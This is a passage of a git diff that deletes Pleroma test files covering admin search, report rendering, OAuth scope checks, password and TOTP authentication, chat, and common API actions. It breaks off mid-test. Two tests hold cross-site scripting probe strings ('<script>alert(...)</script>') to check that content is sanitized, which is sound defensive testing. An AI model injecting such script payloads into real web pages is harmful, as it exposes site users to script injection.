<https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.SearchTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Web.AdminAPI.Search - - import Pleroma.Factory - - describe "search for admin" do - test "it ignores case" do - insert(:user, nickname: "papercoach") - insert(:user, nickname: "CanadaPaperCoach") - - {:ok, _results, count} = - Search.user(%{ - query: "paper", - local: false, - page: 1, - page_size: 50 - }) - - assert count == 2 - end - - test "it returns local/external users" do - insert(:user, local: true) - insert(:user, local: false) - insert(:user, local: false) - - {:ok, _results, local_count} = - Search.user(%{ - query: "", - local: true - }) - - {:ok, _results, external_count} = - Search.user(%{ - query: "", - external: true - }) - - assert local_count == 1 - assert external_count == 2 - end - - test "it returns active/deactivated users" do - insert(:user, deactivated: true) - insert(:user, deactivated: true) - insert(:user, deactivated: false) - - {:ok, _results, active_count} = - Search.user(%{ - query: "", - active: true - }) - - {:ok, _results, deactivated_count} = - Search.user(%{ - query: "", - deactivated: true - }) - - assert active_count == 1 - assert deactivated_count == 2 - end - - test "it returns specific user" do - insert(:user) - insert(:user) - user = insert(:user, nickname: "bob", local: true, deactivated: false) - - {:ok, _results, total_count} = Search.user(%{query: ""}) - - {:ok, [^user], count} = - Search.user(%{ - query: "Bo", - active: true, - local: true - }) - - assert total_count == 3 - assert count == 1 - end - - test "it returns user by domain" do - insert(:user) - insert(:user) - user = insert(:user, nickname: "some@domain.com") - - {:ok, _results, total} = Search.user() - {:ok, [^user], count} = Search.user(%{query: "domain.com"}) - assert total == 3 - assert count == 1 - end - - test "it return user by full nickname" do - insert(:user) - insert(:user) - user = insert(:user, nickname: "some@domain.com") - - {:ok, _results, total} = Search.user() - {:ok, [^user], count} = Search.user(%{query: "some@domain.com"}) - assert total == 3 - assert count == 1 - end - - test "it returns admin user" do - admin = insert(:user, is_admin: true) - insert(:user) - insert(:user) - - {:ok, _results, total} = Search.user() - {:ok, [^admin], count} = Search.user(%{is_admin: true}) - assert total == 3 - assert count == 1 - end - - test "it returns moderator user" do - moderator = insert(:user, is_moderator: true) - insert(:user) - insert(:user) - - {:ok, _results, total} = Search.user() - {:ok, [^moderator], count} = Search.user(%{is_moderator: true}) - assert total == 3 - assert count == 1 - end - - test "it returns users with tags" do - user1 = insert(:user, tags: ["first"]) - user2 = insert(:user, tags: ["second"]) - insert(:user) - insert(:user) - - {:ok, _results, total} = Search.user() - {:ok, users, count} = Search.user(%{tags: ["first", "second"]}) - assert total == 4 - assert count == 2 - assert user1 in users - assert user2 in users - end - - test "it returns user by display name" do - user = insert(:user, name: "Display name") - insert(:user) - insert(:user) - - {:ok, _results, total} = Search.user() - {:ok, [^user], count} = Search.user(%{name: "display"}) - - assert total == 3 - assert count == 1 - end - - test "it returns user by email" do - user = insert(:user, email: "some@example.com") - insert(:user) - insert(:user) - - {:ok, _results, total} = Search.user() - {:ok, [^user], count} = Search.user(%{email: "some@example.com"}) - - assert total == 3 - assert count == 1 - end - - test "it returns unapproved user" do - unapproved = insert(:user, approval_pending: true) - insert(:user) - insert(:user) - - {:ok, _results, total} = Search.user() - {:ok, [^unapproved], count} = Search.user(%{need_approval: true}) - assert total == 3 - assert count == 1 - end - - test "it returns non-discoverable users" do - insert(:user) - insert(:user, discoverable: false) - - {:ok, _results, total} = Search.user() - - assert total == 2 - end - end -end diff --git a/test/web/admin_api/views/report_view_test.exs b/test/web/admin_api/views/report_view_test.exs deleted file mode 100644 index 5a02292be..000000000 --- a/test/web/admin_api/views/report_view_test.exs +++ /dev/null @@ -1,146 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.ReportViewTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Web.AdminAPI - alias Pleroma.Web.AdminAPI.Report - alias Pleroma.Web.AdminAPI.ReportView - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.MastodonAPI - alias Pleroma.Web.MastodonAPI.StatusView - - test "renders a report" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.report(user, %{account_id: other_user.id}) - - expected = %{ - content: nil, - actor: - Map.merge( - MastodonAPI.AccountView.render("show.json", %{user: user, skip_visibility_check: true}), - AdminAPI.AccountView.render("show.json", %{user: user}) - ), - account: - Map.merge( - MastodonAPI.AccountView.render("show.json", %{ - user: other_user, - skip_visibility_check: true - }), - AdminAPI.AccountView.render("show.json", %{user: other_user}) - ), - statuses: [], - notes: [], - state: "open", - id: activity.id - } - - result = - ReportView.render("show.json", Report.extract_report_info(activity)) - |> Map.delete(:created_at) - - assert result == expected - end - - test "includes reported statuses" do - user = insert(:user) - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(other_user, %{status: "toot"}) - - {:ok, report_activity} = - CommonAPI.report(user, %{account_id: other_user.id, status_ids: [activity.id]}) - - other_user = Pleroma.User.get_by_id(other_user.id) - - expected = %{ - content: nil, - actor: - Map.merge( - MastodonAPI.AccountView.render("show.json", %{user: user, skip_visibility_check: true}), - AdminAPI.AccountView.render("show.json", %{user: user}) - ), - account: - Map.merge( - MastodonAPI.AccountView.render("show.json", %{ - user: other_user, - skip_visibility_check: true - }), - AdminAPI.AccountView.render("show.json", %{user: other_user}) - ), - statuses: [StatusView.render("show.json", %{activity: activity})], - state: "open", - notes: [], - id: report_activity.id - } - - result = - ReportView.render("show.json", Report.extract_report_info(report_activity)) - |> Map.delete(:created_at) - - assert result == expected - end - - test "renders report's state" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.report(user, %{account_id: other_user.id}) - {:ok, activity} = CommonAPI.update_report_state(activity.id, "closed") - - assert %{state: "closed"} = - ReportView.render("show.json", Report.extract_report_info(activity)) - end - - test "renders report description" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.report(user, %{ - account_id: other_user.id, - comment: "posts are too good for this instance" - }) - - assert %{content: "posts are too good for this instance"} = - ReportView.render("show.json", Report.extract_report_info(activity)) - end - - test "sanitizes report description" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.report(user, %{ - account_id: other_user.id, - comment: "" - }) - - data = Map.put(activity.data, "content", "<script> alert('hecked :D:D:D:D:D:D:D') </script>") - activity = Map.put(activity, :data, data) - - refute "<script> alert('hecked :D:D:D:D:D:D:D') </script>" == - ReportView.render("show.json", Report.extract_report_info(activity))[:content] - end - - test "doesn't error out when the user doesn't exists" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.report(user, %{ - account_id: other_user.id, - comment: "" - }) - - Pleroma.User.delete(other_user) - Pleroma.User.invalidate_cache(other_user) - - assert %{} = ReportView.render("show.json", Report.extract_report_info(activity)) - end -end diff --git a/test/web/api_spec/schema_examples_test.exs b/test/web/api_spec/schema_examples_test.exs deleted file mode 100644 index f00e834fc..000000000 --- a/test/web/api_spec/schema_examples_test.exs +++ /dev/null @@ -1,43 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ApiSpec.SchemaExamplesTest do - use ExUnit.Case, async: true - import Pleroma.Tests.ApiSpecHelpers - - @content_type "application/json" - - for operation <- api_operations() do - describe operation.operationId <> " Request Body" do - if operation.requestBody do - @media_type operation.requestBody.content[@content_type] - @schema resolve_schema(@media_type.schema) - - if @media_type.example do - test "request body media type example matches schema" do - assert_schema(@media_type.example, @schema) - end - end - - if @schema.example do - test "request body schema example matches schema" do - assert_schema(@schema.example, @schema) - end - end - end - end - - for {status, response} <- operation.responses, is_map(response.content[@content_type]) do - describe "#{operation.operationId} - #{status} Response" do - @schema resolve_schema(response.content[@content_type].schema) - - if @schema.example do - test "example matches schema" do - assert_schema(@schema.example, @schema) - end - end - end - end - end -end diff --git a/test/web/auth/auth_test_controller_test.exs b/test/web/auth/auth_test_controller_test.exs deleted file mode 100644 index fed52b7f3..000000000 --- a/test/web/auth/auth_test_controller_test.exs +++ /dev/null @@ -1,242 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Tests.AuthTestControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - describe "do_oauth_check" do - test "serves with proper OAuth token (fulfilling requested scopes)" do - %{conn: good_token_conn, user: user} = oauth_access(["read"]) - - assert %{"user_id" => user.id} == - good_token_conn - |> get("/test/authenticated_api/do_oauth_check") - |> json_response(200) - - # Unintended usage (:api) — use with :authenticated_api instead - assert %{"user_id" => user.id} == - good_token_conn - |> get("/test/api/do_oauth_check") - |> json_response(200) - end - - test "fails on no token / missing scope(s)" do - %{conn: bad_token_conn} = oauth_access(["irrelevant_scope"]) - - bad_token_conn - |> get("/test/authenticated_api/do_oauth_check") - |> json_response(403) - - bad_token_conn - |> assign(:token, nil) - |> get("/test/api/do_oauth_check") - |> json_response(403) - end - end - - describe "fallback_oauth_check" do - test "serves with proper OAuth token (fulfilling requested scopes)" do - %{conn: good_token_conn, user: user} = oauth_access(["read"]) - - assert %{"user_id" => user.id} == - good_token_conn - |> get("/test/api/fallback_oauth_check") - |> json_response(200) - - # Unintended usage (:authenticated_api) — use with :api instead - assert %{"user_id" => user.id} == - good_token_conn - |> get("/test/authenticated_api/fallback_oauth_check") - |> json_response(200) - end - - test "for :api on public instance, drops :user and renders on no token / missing scope(s)" do - clear_config([:instance, :public], true) - - %{conn: bad_token_conn} = oauth_access(["irrelevant_scope"]) - - assert %{"user_id" => nil} == - bad_token_conn - |> get("/test/api/fallback_oauth_check") - |> json_response(200) - - assert %{"user_id" => nil} == - bad_token_conn - |> assign(:token, nil) - |> get("/test/api/fallback_oauth_check") - |> json_response(200) - end - - test "for :api on private instance, fails on no token / missing scope(s)" do - clear_config([:instance, :public], false) - - %{conn: bad_token_conn} = oauth_access(["irrelevant_scope"]) - - bad_token_conn - |> get("/test/api/fallback_oauth_check") - |> json_response(403) - - bad_token_conn - |> assign(:token, nil) - |> get("/test/api/fallback_oauth_check") - |> json_response(403) - end - end - - describe "skip_oauth_check" do - test "for :authenticated_api, serves if :user is set (regardless of token / token scopes)" do - user = insert(:user) - - assert %{"user_id" => user.id} == - build_conn() - |> assign(:user, user) - |> get("/test/authenticated_api/skip_oauth_check") - |> json_response(200) - - %{conn: bad_token_conn, user: user} = oauth_access(["irrelevant_scope"]) - - assert %{"user_id" => user.id} == - bad_token_conn - |> get("/test/authenticated_api/skip_oauth_check") - |> json_response(200) - end - - test "serves via :api on public instance if :user is not set" do - clear_config([:instance, :public], true) - - assert %{"user_id" => nil} == - build_conn() - |> get("/test/api/skip_oauth_check") - |> json_response(200) - - build_conn() - |> get("/test/authenticated_api/skip_oauth_check") - |> json_response(403) - end - - test "fails on private instance if :user is not set" do - clear_config([:instance, :public], false) - - build_conn() - |> get("/test/api/skip_oauth_check") - |> json_response(403) - - build_conn() - |> get("/test/authenticated_api/skip_oauth_check") - |> json_response(403) - end - end - - describe "fallback_oauth_skip_publicity_check" do - test "serves with proper OAuth token (fulfilling requested scopes)" do - %{conn: good_token_conn, user: user} = oauth_access(["read"]) - - assert %{"user_id" => user.id} == - good_token_conn - |> get("/test/api/fallback_oauth_skip_publicity_check") - |> json_response(200) - - # Unintended usage (:authenticated_api) - assert %{"user_id" => user.id} == - good_token_conn - |> get("/test/authenticated_api/fallback_oauth_skip_publicity_check") - |> json_response(200) - end - - test "for :api on private / public instance, drops :user and renders on token issue" do - %{conn: bad_token_conn} = oauth_access(["irrelevant_scope"]) - - for is_public <- [true, false] do - clear_config([:instance, :public], is_public) - - assert %{"user_id" => nil} == - bad_token_conn - |> get("/test/api/fallback_oauth_skip_publicity_check") - |> json_response(200) - - assert %{"user_id" => nil} == - bad_token_conn - |> assign(:token, nil) - |> get("/test/api/fallback_oauth_skip_publicity_check") - |> json_response(200) - end - end - end - - describe "skip_oauth_skip_publicity_check" do - test "for :authenticated_api, serves if :user is set (regardless of token / token scopes)" do - user = insert(:user) - - assert %{"user_id" => user.id} == - build_conn() - |> assign(:user, user) - |> get("/test/authenticated_api/skip_oauth_skip_publicity_check") - |> json_response(200) - - %{conn: bad_token_conn, user: user} = oauth_access(["irrelevant_scope"]) - - assert %{"user_id" => user.id} == - bad_token_conn - |> get("/test/authenticated_api/skip_oauth_skip_publicity_check") - |> json_response(200) - end - - test "for :api, serves on private and public instances regardless of whether :user is set" do - user = insert(:user) - - for is_public <- [true, false] do - clear_config([:instance, :public], is_public) - - assert %{"user_id" => nil} == - build_conn() - |> get("/test/api/skip_oauth_skip_publicity_check") - |> json_response(200) - - assert %{"user_id" => user.id} == - build_conn() - |> assign(:user, user) - |> get("/test/api/skip_oauth_skip_publicity_check") - |> json_response(200) - end - end - end - - describe "missing_oauth_check_definition" do - def test_missing_oauth_check_definition_failure(endpoint, expected_error) do - %{conn: conn} = oauth_access(["read", "write", "follow", "push", "admin"]) - - assert %{"error" => expected_error} == - conn - |> get(endpoint) - |> json_response(403) - end - - test "fails if served via :authenticated_api" do - test_missing_oauth_check_definition_failure( - "/test/authenticated_api/missing_oauth_check_definition", - "Security violation: OAuth scopes check was neither handled nor explicitly skipped." - ) - end - - test "fails if served via :api and the instance is private" do - clear_config([:instance, :public], false) - - test_missing_oauth_check_definition_failure( - "/test/api/missing_oauth_check_definition", - "This resource requires authentication." - ) - end - - test "succeeds with dropped :user if served via :api on public instance" do - %{conn: conn} = oauth_access(["read", "write", "follow", "push", "admin"]) - - assert %{"user_id" => nil} == - conn - |> get("/test/api/missing_oauth_check_definition") - |> json_response(200) - end - end -end diff --git a/test/web/auth/authenticator_test.exs b/test/web/auth/authenticator_test.exs deleted file mode 100644 index d54253343..000000000 --- a/test/web/auth/authenticator_test.exs +++ /dev/null @@ -1,42 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Auth.AuthenticatorTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Web.Auth.Authenticator - import Pleroma.Factory - - describe "fetch_user/1" do - test "returns user by name" do - user = insert(:user) - assert Authenticator.fetch_user(user.nickname) == user - end - - test "returns user by email" do - user = insert(:user) - assert Authenticator.fetch_user(user.email) == user - end - - test "returns nil" do - assert Authenticator.fetch_user("email") == nil - end - end - - describe "fetch_credentials/1" do - test "returns name and password from authorization params" do - params = %{"authorization" => %{"name" => "test", "password" => "test-pass"}} - assert Authenticator.fetch_credentials(params) == {:ok, {"test", "test-pass"}} - end - - test "returns name and password with grant_type 'password'" do - params = %{"grant_type" => "password", "username" => "test", "password" => "test-pass"} - assert Authenticator.fetch_credentials(params) == {:ok, {"test", "test-pass"}} - end - - test "returns error" do - assert Authenticator.fetch_credentials(%{}) == {:error, :invalid_credentials} - end - end -end diff --git a/test/web/auth/basic_auth_test.exs b/test/web/auth/basic_auth_test.exs deleted file mode 100644 index bf6e3d2fc..000000000 --- a/test/web/auth/basic_auth_test.exs +++ /dev/null @@ -1,46 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Auth.BasicAuthTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - test "with HTTP Basic Auth used, grants access to OAuth scope-restricted endpoints", %{ - conn: conn - } do - user = insert(:user) - assert Pbkdf2.verify_pass("test", user.password_hash) - - basic_auth_contents = - (URI.encode_www_form(user.nickname) <> ":" <> URI.encode_www_form("test")) - |> Base.encode64() - - # Succeeds with HTTP Basic Auth - response = - conn - |> put_req_header("authorization", "Basic " <> basic_auth_contents) - |> get("/api/v1/accounts/verify_credentials") - |> json_response(200) - - user_nickname = user.nickname - assert %{"username" => ^user_nickname} = response - - # Succeeds with a properly scoped OAuth token - valid_token = insert(:oauth_token, scopes: ["read:accounts"]) - - conn - |> put_req_header("authorization", "Bearer #{valid_token.token}") - |> get("/api/v1/accounts/verify_credentials") - |> json_response(200) - - # Fails with a wrong-scoped OAuth token (proof of restriction) - invalid_token = insert(:oauth_token, scopes: ["read:something"]) - - conn - |> put_req_header("authorization", "Bearer #{invalid_token.token}") - |> get("/api/v1/accounts/verify_credentials") - |> json_response(403) - end -end diff --git a/test/web/auth/pleroma_authenticator_test.exs b/test/web/auth/pleroma_authenticator_test.exs deleted file mode 100644 index 1ba0dfecc..000000000 --- a/test/web/auth/pleroma_authenticator_test.exs +++ /dev/null @@ -1,48 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Auth.PleromaAuthenticatorTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Web.Auth.PleromaAuthenticator - import Pleroma.Factory - - setup do - password = "testpassword" - name = "AgentSmith" - user = insert(:user, nickname: name, password_hash: Pbkdf2.hash_pwd_salt(password)) - {:ok, [user: user, name: name, password: password]} - end - - test "get_user/authorization", %{name: name, password: password} do - name = name <> "1" - user = insert(:user, nickname: name, password_hash: Bcrypt.hash_pwd_salt(password)) - - params = %{"authorization" => %{"name" => name, "password" => password}} - res = PleromaAuthenticator.get_user(%Plug.Conn{params: params}) - - assert {:ok, returned_user} = res - assert returned_user.id == user.id - assert "$pbkdf2" <> _ = returned_user.password_hash - end - - test "get_user/authorization with invalid password", %{name: name} do - params = %{"authorization" => %{"name" => name, "password" => "password"}} - res = PleromaAuthenticator.get_user(%Plug.Conn{params: params}) - - assert {:error, {:checkpw, false}} == res - end - - test "get_user/grant_type_password", %{user: user, name: name, password: password} do - params = %{"grant_type" => "password", "username" => name, "password" => password} - res = PleromaAuthenticator.get_user(%Plug.Conn{params: params}) - - assert {:ok, user} == res - end - - test "error credintails" do - res = PleromaAuthenticator.get_user(%Plug.Conn{params: %{}}) - assert {:error, :invalid_credentials} == res - end -end diff --git a/test/web/auth/totp_authenticator_test.exs b/test/web/auth/totp_authenticator_test.exs deleted file mode 100644 index 84d4cd840..000000000 --- a/test/web/auth/totp_authenticator_test.exs +++ /dev/null @@ -1,51 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Auth.TOTPAuthenticatorTest do - use Pleroma.Web.ConnCase - - alias Pleroma.MFA - alias Pleroma.MFA.BackupCodes - alias Pleroma.MFA.TOTP - alias Pleroma.Web.Auth.TOTPAuthenticator - - import Pleroma.Factory - - test "verify token" do - otp_secret = TOTP.generate_secret() - otp_token = TOTP.generate_token(otp_secret) - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - assert TOTPAuthenticator.verify(otp_token, user) == {:ok, :pass} - assert TOTPAuthenticator.verify(nil, user) == {:error, :invalid_token} - assert TOTPAuthenticator.verify("", user) == {:error, :invalid_token} - end - - test "checks backup codes" do - [code | _] = backup_codes = BackupCodes.generate() - - hashed_codes = - backup_codes - |> Enum.map(&Pbkdf2.hash_pwd_salt(&1)) - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - backup_codes: hashed_codes, - totp: %MFA.Settings.TOTP{secret: "otp_secret", confirmed: true} - } - ) - - assert TOTPAuthenticator.verify_recovery_code(user, code) == {:ok, :pass} - refute TOTPAuthenticator.verify_recovery_code(code, refresh_record(user)) == {:ok, :pass} - end -end diff --git a/test/web/chat_channel_test.exs b/test/web/chat_channel_test.exs deleted file mode 100644 index 32170873d..000000000 --- a/test/web/chat_channel_test.exs +++ /dev/null @@ -1,41 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ChatChannelTest do - use Pleroma.Web.ChannelCase - alias Pleroma.Web.ChatChannel - alias Pleroma.Web.UserSocket - - import Pleroma.Factory - - setup do - user = insert(:user) - - {:ok, _, socket} = - socket(UserSocket, "", %{user_name: user.nickname}) - |> subscribe_and_join(ChatChannel, "chat:public") - - {:ok, socket: socket} - end - - test "it broadcasts a message", %{socket: socket} do - push(socket, "new_msg", %{"text" => "why is tenshi eating a corndog so cute?"}) - assert_broadcast("new_msg", %{text: "why is tenshi eating a corndog so cute?"}) - end - - describe "message lengths" do - setup do: clear_config([:instance, :chat_limit]) - - test "it ignores messages of length zero", %{socket: socket} do - push(socket, "new_msg", %{"text" => ""}) - refute_broadcast("new_msg", %{text: ""}) - end - - test "it ignores messages above a certain length", %{socket: socket} do - Pleroma.Config.put([:instance, :chat_limit], 2) - push(socket, "new_msg", %{"text" => "123"}) - refute_broadcast("new_msg", %{text: "123"}) - end - end -end diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs deleted file mode 100644 index e34f5a49b..000000000 --- a/test/web/common_api/common_api_test.exs +++ /dev/null @@ -1,1244 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.CommonAPITest do - use Pleroma.DataCase - use Oban.Testing, repo: Pleroma.Repo - - alias Pleroma.Activity - alias Pleroma.Chat - alias Pleroma.Conversation.Participation - alias Pleroma.Notification - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.ActivityPub.Visibility - alias Pleroma.Web.AdminAPI.AccountView - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - import Mock - import Ecto.Query, only: [from: 2] - - require Pleroma.Constants - - setup do: clear_config([:instance, :safe_dm_mentions]) - setup do: clear_config([:instance, :limit]) - setup do: clear_config([:instance, :max_pinned_statuses]) - - describe "posting polls" do - test "it posts a poll" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "who is the best", - poll: %{expires_in: 600, options: ["reimu", "marisa"]} - }) - - object = Object.normalize(activity) - - assert object.data["type"] == "Question" - assert object.data["oneOf"] |> length() == 2 - end - end - - describe "blocking" do - setup do - blocker = insert(:user) - blocked = insert(:user) - User.follow(blocker, blocked) - User.follow(blocked, blocker) - %{blocker: blocker, blocked: blocked} - end - - test "it blocks and federates", %{blocker: blocker, blocked: blocked} do - clear_config([:instance, :federating], true) - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end do - assert {:ok, block} = CommonAPI.block(blocker, blocked) - - assert block.local - assert User.blocks?(blocker, blocked) - refute User.following?(blocker, blocked) - refute User.following?(blocked, blocker) - - assert called(Pleroma.Web.Federator.publish(block)) - end - end - - test "it blocks and does not federate if outgoing blocks are disabled", %{ - blocker: blocker, - blocked: blocked - } do - clear_config([:instance, :federating], true) - clear_config([:activitypub, :outgoing_blocks], false) - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end do - assert {:ok, block} = CommonAPI.block(blocker, blocked) - - assert block.local - assert User.blocks?(blocker, blocked) - refute User.following?(blocker, blocked) - refute User.following?(blocked, blocker) - - refute called(Pleroma.Web.Federator.publish(block)) - end - end - end - - describe "posting chat messages" do - setup do: clear_config([:instance, :chat_limit]) - - test "it posts a chat message without content but with an attachment" do - author = insert(:user) - recipient = insert(:user) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, upload} = ActivityPub.upload(file, actor: author.ap_id) - - with_mocks([ - { - Pleroma.Web.Streamer, - [], - [ - stream: fn _, _ -> - nil - end - ] - }, - { - Pleroma.Web.Push, - [], - [ - send: fn _ -> nil end - ] - } - ]) do - {:ok, activity} = - CommonAPI.post_chat_message( - author, - recipient, - nil, - media_id: upload.id - ) - - notification = - Notification.for_user_and_activity(recipient, activity) - |> Repo.preload(:activity) - - assert called(Pleroma.Web.Push.send(notification)) - assert called(Pleroma.Web.Streamer.stream(["user", "user:notification"], notification)) - assert called(Pleroma.Web.Streamer.stream(["user", "user:pleroma_chat"], :_)) - - assert activity - end - end - - test "it adds html newlines" do - author = insert(:user) - recipient = insert(:user) - - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post_chat_message( - author, - recipient, - "uguu\nuguuu" - ) - - assert other_user.ap_id not in activity.recipients - - object = Object.normalize(activity, false) - - assert object.data["content"] == "uguu<br/>uguuu" - end - - test "it linkifies" do - author = insert(:user) - recipient = insert(:user) - - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post_chat_message( - author, - recipient, - "https://example.org is the site of @#{other_user.nickname} #2hu" - ) - - assert other_user.ap_id not in activity.recipients - - object = Object.normalize(activity, false) - - assert object.data["content"] == - "<a href=\"https://example.org\" rel=\"ugc\">https://example.org</a> is the site of <span class=\"h-card\"><a class=\"u-url mention\" data-user=\"#{ - other_user.id - }\" href=\"#{other_user.ap_id}\" rel=\"ugc\">@<span>#{other_user.nickname}</span></a></span> <a class=\"hashtag\" data-tag=\"2hu\" href=\"http://localhost:4001/tag/2hu\">#2hu</a>" - end - - test "it posts a chat message" do - author = insert(:user) - recipient = insert(:user) - - {:ok, activity} = - CommonAPI.post_chat_message( - author, - recipient, - "a test message <script>alert('uuu')</script> :firefox:" - ) - - assert activity.data["type"] == "Create" - assert activity.local - object = Object.normalize(activity) - - assert object.data["type"] == "ChatMessage" - assert object.data["to"] == [recipient.ap_id] - - assert object.data["content"] == - "a test message <script>alert('uuu')</script> :firefox:" - - assert object.data["emoji"] == %{ - "firefox" => "http://localhost:4001/emoji/Firefox.gif" - } - - assert Chat.get(author.id, recipient.ap_id) - assert Chat.get(recipient.id, author.ap_id) - - assert :ok == Pleroma.Web.Federator.perform(:publish, activity) - end - - test "it reject messages over the local limit" do - Pleroma.Config.put([:instance, :chat_limit], 2) - - author = insert(:user) - recipient = insert(:user) - - {:error, message} = - CommonAPI.post_chat_message( - author, - recipient, - "123" - ) - - assert message == :content_too_long - end - - test "it reject messages via MRF" do - clear_config([:mrf_keyword, :reject], ["GNO"]) - clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) - - author = insert(:user) - recipient = insert(:user) - - assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} == - CommonAPI.post_chat_message(author, recipient, "GNO/Linux") - end - end - - describe "unblocking" do - test "it works even without an existing block activity" do - blocked = insert(:user) - blocker = insert(:user) - User.block(blocker, blocked) - - assert User.blocks?(blocker, blocked) - assert {:ok, :no_activity} == CommonAPI.unblock(blocker, blocked) - refute User.blocks?(blocker, blocked) - end - end - - describe "deletion" do - test "it works with pruned objects" do - user = insert(:user) - - {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) - - clear_config([:instance, :federating], true) - - Object.normalize(post, false) - |> Object.prune() - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end do - assert {:ok, delete} = CommonAPI.delete(post.id, user) - assert delete.local - assert called(Pleroma.Web.Federator.publish(delete)) - end - - refute Activity.get_by_id(post.id) - end - - test "it allows users to delete their posts" do - user = insert(:user) - - {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) - - clear_config([:instance, :federating], true) - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end do - assert {:ok, delete} = CommonAPI.delete(post.id, user) - assert delete.local - assert called(Pleroma.Web.Federator.publish(delete)) - end - - refute Activity.get_by_id(post.id) - end - - test "it does not allow a user to delete their posts" do - user = insert(:user) - other_user = insert(:user) - - {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) - - assert {:error, "Could not delete"} = CommonAPI.delete(post.id, other_user) - assert Activity.get_by_id(post.id) - end - - test "it allows moderators to delete other user's posts" do - user = insert(:user) - moderator = insert(:user, is_moderator: true) - - {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) - - assert {:ok, delete} = CommonAPI.delete(post.id, moderator) - assert delete.local - - refute Activity.get_by_id(post.id) - end - - test "it allows admins to delete other user's posts" do - user = insert(:user) - moderator = insert(:user, is_admin: true) - - {:ok, post} = CommonAPI.post(user, %{status: "namu amida butsu"}) - - assert {:ok, delete} = CommonAPI.delete(post.id, moderator) - assert delete.local - - refute Activity.get_by_id(post.id) - end - - test "superusers deleting non-local posts won't federate the delete" do - # This is the user of the ingested activity - _user = - insert(:user, - local: false, - ap_id: "http://mastodon.example.org/users/admin", - last_refreshed_at: NaiveDateTime.utc_now() - ) - - moderator = insert(:user, is_admin: true) - - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Jason.decode!() - - {:ok, post} = Transmogrifier.handle_incoming(data) - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end do - assert {:ok, delete} = CommonAPI.delete(post.id, moderator) - assert delete.local - refute called(Pleroma.Web.Federator.publish(:_)) - end - - refute Activity.get_by_id(post.id) - end - end - - test "favoriting race condition" do - user = insert(:user) - users_serial = insert_list(10, :user) - users = insert_list(10, :user) - - {:ok, activity} = CommonAPI.post(user, %{status: "."}) - - users_serial - |> Enum.map(fn user -> - CommonAPI.favorite(user, activity.id) - end) - - object = Object.get_by_ap_id(activity.data["object"]) - assert object.data["like_count"] == 10 - - users - |> Enum.map(fn user -> - Task.async(fn -> - CommonAPI.favorite(user, activity.id) - end) - end) - |> Enum.map(&Task.await/1) - - object = 